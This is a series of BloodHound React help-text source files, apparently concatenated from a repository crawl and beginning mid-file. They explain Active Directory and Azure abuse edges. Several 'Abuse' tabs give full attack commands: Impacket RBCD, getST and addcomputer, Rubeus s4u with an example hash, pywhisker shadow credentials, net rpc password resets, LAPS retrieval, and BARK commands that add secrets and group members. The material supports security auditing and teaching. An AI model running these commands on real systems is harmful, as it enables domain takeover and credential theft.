</pre>
We now need to configure the target object so that the attacker-controlled
computer can delegate to it. Impacket's rbcd.py script can be used for that
purpose:
<pre>
<code>
{
"rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'"
}
</code>
</pre>
And finally we can get a service ticket for the service name (sname) we
want to "pretend" to be "admin" for. Impacket's getST.py example script
can be used for that purpose.
<pre>
<code>
{
"getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'"
}
</code>
</pre>
This ticket can then be used with Pass-the-Ticket, and could grant access
to the file system of the TARGETCOMPUTER.
<h4> Shadow Credentials attack </h4>
<p>To abuse this privilege, use <a href='path_to_url
<pre>
<code>{'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}</code>
</pre>
<p>
For other optional parameters, view the pyWhisker documentation.
</p>
</>
);
case 'GPO':
return (
<>
<p>
With GenericWrite over a GPO, you may make modifications
to that GPO which will then apply to the users and
computers affected by the GPO. Select the target object
you wish to push an evil policy down to, then use the
gpedit GUI to modify the GPO, using an evil policy that
allows item-level targeting, such as a new immediate
scheduled task. Then wait at least 2 hours for the group
policy client to pick up and execute the new evil
policy. See the references tab for a more detailed write
up on this abuse.
</p>
<p>
<a href="path_to_url">pyGPOAbuse.py</a> can be used for that purpose.
</p>
<p>
This edge can be a false positive in rare scenarios. If you have
GenericWrite on the GPO with 'This object only' (no inheritance)
and no other permissions in the ACL, it is not possible to add or
modify settings of the GPO. The GPO's settings are stored in
SYSVOL under a folder for the given GPO. Therefore, you need write
access to child objects of this folder or create child objects
permission. The security descriptor of the GPO is reflected on
the folder, meaning permissions to write child items on the GPO
are required.
</p>
</>
);
}
};
LinuxAbuse.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetType: PropTypes.string,
};
export default LinuxAbuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/GenericWrite/LinuxAbuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 1,479 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZOwns = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='tab-style' bsStyle='pills' justified>
<Tab eventKey={1} title='INFO'>
<General />
</Tab>
<Tab eventKey={2} title='ABUSE'>
<Abuse />
</Tab>
<Tab eventKey={3} title='OPSEC'>
<Opsec />
</Tab>
<Tab eventKey={4} title='REFERENCES'>
<References />
</Tab>
</Tabs>
);
};
AZOwns.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZOwns;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZOwns/AZOwns.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 227 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<p>
Everything a Contributor can do, with the addition of assigning
rights to resources.
</p>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZOwns/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 49 |
```jsx
import React from 'react';
const General = () => {
return (
<p>
Object ownership means almost all abuses are possible against the
target object.
</p>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZOwns/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 47 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<p>
This depends on which abuse you perform, but in general Azure will
create a log for each abuse action.
</p>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZOwns/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 57 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { typeFormat } from '../Formatter';
const General = ({ sourceName, sourceType, targetName }) => {
return (
<>
<p>
The {typeFormat(sourceType)} {sourceName} has the constrained
delegation privilege to the computer {targetName}.
</p>
<p>
The constrained delegation primitive allows a principal to
authenticate as any user to specific services (found in the
msds-AllowedToDelegateTo LDAP property in the source node tab)
on the target computer. That is, a node with this privilege can
impersonate any domain principal (including Domain Admins) to
the specific service on the target host. One caveat-
impersonated users can not be in the "Protected Users" security
group or otherwise have delegation privileges revoked.
</p>
<p>
An issue exists in the constrained delegation where the service
name (sname) of the resulting ticket is not a part of the
protected ticket information, meaning that an attacker can
modify the target service name to any service of their choice.
For example, if msds-AllowedToDelegateTo is
"HTTP/host.domain.com", tickets can be modified for
LDAP/HOST/etc. service names, resulting in complete server
compromise, regardless of the specific service listed.
</p>
</>
);
};
General.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AllowedToDelegate/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 337 |
```jsx
import React from 'react';
const WindowsAbuse = () => {
return (
<>
<p>
Abusing this privilege can utilize Benjamin Delpy's Kekeo
project, proxying in traffic generated from the Impacket
library, or using the Rubeus project's s4u abuse.
</p>
<p>
In the following example, *victim* is the attacker-controlled
account (i.e. the hash is known) that is configured for
constrained delegation. That is, *victim* has the
"HTTP/PRIMARY.testlab.local" service principal name (SPN) set in
its msds-AllowedToDelegateTo property. The command first
requests a TGT for the *victim* user and executes the
S4U2self/S4U2proxy process to impersonate the "admin" user to
the "HTTP/PRIMARY.testlab.local" SPN. The alternative sname
"cifs" is substituted in to the final service ticket and the
ticket is submitted to the current logon session. This grants
the attacker the ability to access the file system of
PRIMARY.testlab.local as the "admin" user.
</p>
<pre>
<code>
{
'Rubeus.exe s4u /user:victim /rc4:2b576acbe6bcfda7294d6bd18041b8fe /impersonateuser:admin /msdsspn:"HTTP/PRIMARY.testlab.local" /altservice:cifs /ptt'
}
</code>
</pre>
</>
);
};
export default WindowsAbuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AllowedToDelegate/WindowsAbuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 364 |
```jsx
import React from 'react';
const LinuxAbuse = () => {
return (
<>
<p>
In the following example, *victim* is the attacker-controlled
account (i.e. the hash is known) that is configured for
constrained delegation. That is, *victim* has the
"HTTP/PRIMARY.testlab.local" service principal name (SPN) set in
its msds-AllowedToDelegateTo property. The command first
requests a TGT for the *victim* user and executes the
S4U2self/S4U2proxy process to impersonate the "admin" user to
the "HTTP/PRIMARY.testlab.local" SPN. The alternative sname
"cifs" is substituted in to the final service ticket. This grants
the attacker the ability to access the file system of
PRIMARY.testlab.local as the "admin" user.
</p>
<pre>
<code>
{
"getST.py -spn 'HTTP/PRIMARY.testlab.local' -impersonate 'admin' -altservice 'cifs' -hashes :2b576acbe6bcfda7294d6bd18041b8fe 'domain/victim'"
}
</code>
</pre>
</>
);
};
export default LinuxAbuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AllowedToDelegate/LinuxAbuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 291 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import WindowsAbuse from './WindowsAbuse';
import LinuxAbuse from './LinuxAbuse';
import Opsec from './Opsec';
import References from './References';
const AllowedToDelegate = ({
sourceName,
sourceType,
targetName,
targetType,
}) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General
sourceName={sourceName}
sourceType={sourceType}
targetName={targetName}
/>
</Tab>
<Tab eventKey={2} title='Windows Abuse'>
<WindowsAbuse />
</Tab>
<Tab eventKey={3} title='Linux Abuse'>
<LinuxAbuse />
</Tab>
<Tab eventKey={4} title='Opsec'>
<Opsec />
</Tab>
<Tab eventKey={5} title='Refs'>
<References />
</Tab>
</Tabs>
);
};
AllowedToDelegate.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AllowedToDelegate;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AllowedToDelegate/AllowedToDelegate.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 287 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url#s4u'>
path_to_url#s4u
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<br />
<a href='path_to_url
path_to_url
</a>
<a href='path_to_url
path_to_url
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AllowedToDelegate/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 203 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<p>
As mentioned in the abuse info, in order to currently abuse this
primitive the Rubeus C# assembly needs to be executed on some system
with the ability to send/receive traffic in the domain. See the
References for more information.
</p>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AllowedToDelegate/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 87 |
```jsx
import React from 'react';
const General = () => {
return (
<>
<p>
This edge is created when a Service Principal has been
granted the ServicePrincipalEndpoint.ReadWrite.All edge. The edge is
not abusable, but is used during post-processing to create
abusable edges.
</p>
</>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 81 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
This edge is created when a Service Principal has been
granted the ServicePrincipalEndpoint.ReadWrite.All edge. The edge is
not abusable, but is used during post-processing to create
abusable edges.
</p>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 81 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZMGServicePrincipalEndpoint_ReadWrite_All = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General />
</Tab>
<Tab eventKey={2} title='Abuse Info'>
<Abuse />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};
AZMGServicePrincipalEndpoint_ReadWrite_All.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZMGServicePrincipalEndpoint_ReadWrite_All;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/AZMGServicePrincipalEndpoint_ReadWrite_All.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 240 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<>
<p>
This edge is created when a Service Principal has been
granted the ServicePrincipalEndpoint.ReadWrite.All edge. The edge is
not abusable, but is used during post-processing to create
abusable edges.
</p>
</>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGServicePrincipalEndpoint_ReadWrite_All/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 83 |
```jsx
import React from 'react';
const General = () => {
return (
<>
<p>
This edge is created during post-processing. It is created against
all Azure App Registrations and Service Principals when a Service
Principal has one of the following MS Graph app roles:
</p>
<p>
<ul>
<li>Application.ReadWrite.All</li>
<li>RoleManagement.ReadWrite.Directory</li>
</ul>
</p>
<p>
You will not see this privilege when using just the Azure portal
or any other Microsoft tooling. If you audit the roles and administrators
affecting any particular Azure App or Service Principal, you will not see
that the Service Principal can add secrets to the object, but it
indeed can because of the parallel access management system used
by MS Graph.
</p>
</>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGAddSecret/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 199 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZMGAddSecret = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General />
</Tab>
<Tab eventKey={2} title='Abuse Info'>
<Abuse />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};
AZMGAddSecret.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZMGAddSecret;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGAddSecret/AZMGAddSecret.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 228 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<>
<p>
When you create a new secret for an App or Service Principal,
Azure creates an event called Update application Certificates
and secrets management. This event describes who added the secret
to which application or service principal.
</p>
</>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGAddSecret/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 84 |
```jsx
import React from 'react';
const General = () => {
return (
<>
<p>
This edge is created when a Service Principal has been
granted the RoleManagement.ReadWrite.Directory edge. The edge is
not abusable, but is used during post-processing to create
abusable edges.
</p>
</>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGRoleManagement_ReadWrite_Directory/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 80 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
This edge is created when a Service Principal has been
granted the RoleManagement.ReadWrite.Directory edge. The edge is
not abusable, but is used during post-processing to create
abusable edges.
</p>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGRoleManagement_ReadWrite_Directory/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 80 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
There are several ways to perform this abuse, depending on what
sort of access you have to the credentials of the object that
holds this privilege against the target object. If you have an
interactive web browser session for the Azure portal, it is as
simple as finding the target App in the portal and adding a new
secret to the object using the Certificates & secrets tab.
Service Principals do not have this tab in the Azure portal but
you can add secrets to them with the MS Graph API.
</p>
<p>
No matter what kind of control you have, you will be able to
perform this abuse by using BARKs New-AppRegSecret or
New-ServicePrincipalSecret functions.
</p>
<p>
These functions require you to supply an MS Graph-scoped JWT
associated with the Service Principal that has the privilege
to add secrets to the target object. There are several ways to
acquire a JWT. For example, you may use BARKs
Get-MSGraphTokenWithClientCredentials to acquire an MS Graph-scoped JWT
by supplying a Service Principal Client ID and secret:
</p>
<pre>
<code>
{
'$MGToken = Get-MSGraphTokenWithClientCredentials `\n' +
' -ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `\n' +
' -ClientSecret "asdf..." `\n' +
' -TenantName "contoso.onmicrosoft.com"'
}
</code>
</pre>
<p>
Then use BARKs New-AppRegSecret to add a new secret to the
target application:
</p>
<pre>
<code>
{
'New-AppRegSecret `\n' +
' -AppRegObjectID "d878" `\n' +
' -Token $MGToken.access_token'
}
</code>
</pre>
<p>
The output will contain the plain-text secret you just created
for the target app:
</p>
<pre>
<code>
{
'New-AppRegSecret `\n' +
' -AppRegObjectID "d878" `\n' +
' -Token $MGToken.access_token\n' +
'\n' +
'Name Value\n' +
'-----------------------------\n' +
'AppRegSecretValue odg8Q~...\n' +
'AppRegAppId 4d31\n' +
'AppRegObjectId d878'
}
</code>
</pre>
<p>
With this plain text secret, you can now acquire tokens as the
service principal associated with the app. You can easily do
this with BARKs Get-MSGraphToken function:
</p>
<pre>
<code>
{
'$SPToken = Get-MSGraphToken `\n' +
' -ClientID "4d31" `\n' +
' -ClientSecret "odg8Q~..." `\n' +
' -TenantName "contoso.onmicrosoft.com"'
}
</code>
</pre>
<p>
Now you can use this JWT to perform actions against any other MS
Graph endpoint as the service principal, continuing your attack
path with the privileges of that service principal.
</p>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGAddSecret/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 799 |
```jsx
import React from 'react';
const References = () => {
return (
<>
<a href='path_to_url
ATT&CK T1098: Account Manipulation
</a>
<br />
<a href='path_to_url
Andy Robbins - Azure Privilege Escalation via Service Principal
Abuse
</a>
<br />
<a href='path_to_url
Assign Azure AD roles at different scopes
</a>
</>
);
};
export default References;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGRoleManagement_ReadWrite_Directory/References.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 113 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZMGRoleManagement_ReadWrite_Directory = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General />
</Tab>
<Tab eventKey={2} title='Abuse Info'>
<Abuse />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};
AZMGRoleManagement_ReadWrite_Directory.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZMGRoleManagement_ReadWrite_Directory;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGRoleManagement_ReadWrite_Directory/AZMGRoleManagement_ReadWrite_Directory.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 243 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<>
<p>
This edge is created when a Service Principal has been
granted the RoleManagement.ReadWrite.Directory edge. The edge is
not abusable, but is used during post-processing to create
abusable edges.
</p>
</>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGRoleManagement_ReadWrite_Directory/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 82 |
```jsx
import React from 'react';
const General = () => {
return (
<>
<p>
This edge is created during post-processing. It is created against
non role assignable Azure AD security groups when a Service
Principal has one of the following MS Graph app role assignments:
</p>
<ul>
<li>Directory.ReadWrite.All</li>
<li>Group.ReadWrite.All</li>
<li>GroupMember.ReadWrite.All</li>
</ul>
<p>
It is created against all Azure AD security groups, including those
that are role assignable, when a Service Principal has the following
MS Graph app role:
</p>
<ul>
<li>RoleManagement.ReadWrite.Directory</li>
</ul>
<p>
You will not see this privilege when using just the Azure portal
or any other Microsoft tooling. If you audit the roles and administrators
affecting any particular Azure security group, you will not see
that the Service Principal can add members to the group, but it
indeed can because of the parallel access management system used
by MS Graph.
</p>
</>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGAddMember/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 262 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZMGAddMember = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General />
</Tab>
<Tab eventKey={2} title='Abuse Info'>
<Abuse />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};
AZMGAddMember.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZMGAddMember;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGAddMember/AZMGAddMember.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 228 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<>
<p>
The Azure activity log for the tenant will log who added what
principal to what group, including the date and time.
</p>
</>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGAddMember/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 63 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
You can abuse this privilege using BARK's Add-AZMemberToGroup
function.
</p>
<p>
This function requires you to supply an MS Graph-scoped JWT
associated with the Service Principal that has the privilege
to add principal to the target group. There are several ways to
acquire a JWT. For example, you may use BARKs
Get-MSGraphTokenWithClientCredentials to acquire an MS Graph-scoped JWT
by supplying a Service Principal Client ID and secret:
</p>
<pre>
<code>
{
'$MGToken = Get-MSGraphTokenWithClientCredentials `\n' +
' -ClientID "34c7f844-b6d7-47f3-b1b8-720e0ecba49c" `\n' +
' -ClientSecret "asdf..." `\n' +
' -TenantName "contoso.onmicrosoft.com"'
}
</code>
</pre>
<p>
Then use BARKs Add-AZMemberToGroup function to add a new principial
to the target group:
</p>
<pre>
<code>
{
'Add-AZMemberToGroup `\n' +
' -PrincipalID = "028362ca-90ae-41f2-ae9f-1a678cc17391" `\n' +
' -TargetGroupId "b9801b7a-fcec-44e2-a21b-86cb7ec718e4" `\n' +
' -Token $MGToken.access_token'
}
</code>
</pre>
<p>
Now you can re-authenticate as the principial you just added to the group
and continue your attack path, now having whatever privileges the target
group has.
</p>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGAddMember/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 439 |
```jsx
import React from 'react';
const General = () => {
return (
<>
<p>
This edge is created when a Service Principal has been
granted the Application.ReadWrite.All edge. The edge is
not abusable, but is used during post-processing to create
abusable edges.
</p>
</>
);
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGApplication_ReadWrite_All/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 79 |
```jsx
import React from 'react';
const Abuse = () => {
return (
<>
<p>
This edge is created when a Service Principal has been
granted the Application.ReadWrite.All edge. The edge is
not abusable, but is used during post-processing to create
abusable edges.
</p>
</>
);
};
export default Abuse;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGApplication_ReadWrite_All/Abuse.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 79 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { Tabs, Tab } from 'react-bootstrap';
import General from './General';
import Abuse from './Abuse';
import Opsec from './Opsec';
import References from './References';
const AZMGApplication_ReadWrite_All = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<Tabs defaultActiveKey={1} id='help-tab-container' justified>
<Tab eventKey={1} title='Info'>
<General />
</Tab>
<Tab eventKey={2} title='Abuse Info'>
<Abuse />
</Tab>
<Tab eventKey={3} title='Opsec Considerations'>
<Opsec />
</Tab>
<Tab eventKey={4} title='References'>
<References />
</Tab>
</Tabs>
);
};
AZMGApplication_ReadWrite_All.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default AZMGApplication_ReadWrite_All;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGApplication_ReadWrite_All/AZMGApplication_ReadWrite_All.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 234 |
```jsx
import React from 'react';
const Opsec = () => {
return (
<>
<p>
This edge is created when a Service Principal has been
granted the Application.ReadWrite.All edge. The edge is
not abusable, but is used during post-processing to create
abusable edges.
</p>
</>
);
};
export default Opsec;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AZMGApplication_ReadWrite_All/Opsec.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 81 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
import { groupSpecialFormat, typeFormat } from '../Formatter';
const General = ({ sourceName, sourceType, targetName, targetType }) => {
return (
<>
<p>
{groupSpecialFormat(sourceType, sourceName)} the
AllExtendedRights privilege to the {typeFormat(targetType)}
{targetName}.
</p>
<p>
Extended rights are special rights granted on objects which
allow reading of privileged attributes, as well as performing
special actions.
</p>
</>
);
};
General.propTypes = {
sourceName: PropTypes.string,
sourceType: PropTypes.string,
targetName: PropTypes.string,
targetType: PropTypes.string,
};
export default General;
``` | /content/code_sandbox/src/components/Modals/HelpTexts/AllExtendedRights/General.jsx | jsx | 2016-04-17T18:36:14 | 2024-08-16T14:38:33 | BloodHound | BloodHoundAD/BloodHound | 9,657 | 165 |
```jsx
import React from 'react';
import PropTypes from 'prop-types';
const LinuxAbuse = ({ sourceName, sourceType, targetName, targetType, haslaps }) => {
switch (targetType) {
case 'User':
return (
<>
<p>
The AllExtendedRights privilege grants {sourceName} the
ability to change the password of the user {targetName}{' '}
without knowing their current password. This is
equivalent to the "ForceChangePassword" edge in
BloodHound.
</p>
<p>
Use samba's net tool to change the user's password. The credentials can be supplied in cleartext
or prompted interactively if omitted from the command line. The new password will be prompted
if omitted from the command line.
</p>
<pre>
<code>
{
'net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"'
}
</code>
</pre>
<p>
Pass-the-hash can also be done here with <a href='path_to_url net tool</a>.
If the LM hash is not known it must be replace with <code>ffffffffffffffffffffffffffffffff</code>.
</p>
<pre>
<code>
{
'pth-net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"'
}
</code>
</pre>
</>
);
case 'Computer':
if (haslaps) {
return (
<>
<h4> Retrieve LAPS Password </h4>
<p>
The AllExtendedRights privilege grants {sourceName} the
ability to obtain the RID 500 administrator password of{' '}
{targetName}. {sourceName} can do so by listing a
computer object's AD properties with PowerView using
Get-DomainComputer {targetName}. The value of the
ms-mcs-AdmPwd property will contain password of the
administrative local account on {targetName}.
</p>
<p>
<a href='path_to_url can be used
to retrieve LAPS passwords:
</p>
<pre>
<code>
{
'pyLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"'
}
</code>
</pre>
<h4> Resource-Based Constrained Delegation </h4>
First, if an attacker does not control an account with an
SPN set, a new attacker-controlled computer account can be
added with Impacket's addcomputer.py example script:
<pre>
<code>
{
"addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'"
}
</code>
</pre>
We now need to configure the target object so that the attacker-controlled
computer can delegate to it. Impacket's rbcd.py script can be used for that
purpose:
<pre>
<code>
{
"rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'"
}
</code>
</pre>
And finally we can get a service ticket for the service name (sname) we
want to "pretend" to be "admin" for. Impacket's getST.py example script
can be used for that purpose.
<pre>
<code>
{
"getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'"
}
</code>
</pre>
This ticket can then be used with Pass-the-Ticket, and could grant access
to the file system of the TARGETCOMPUTER.
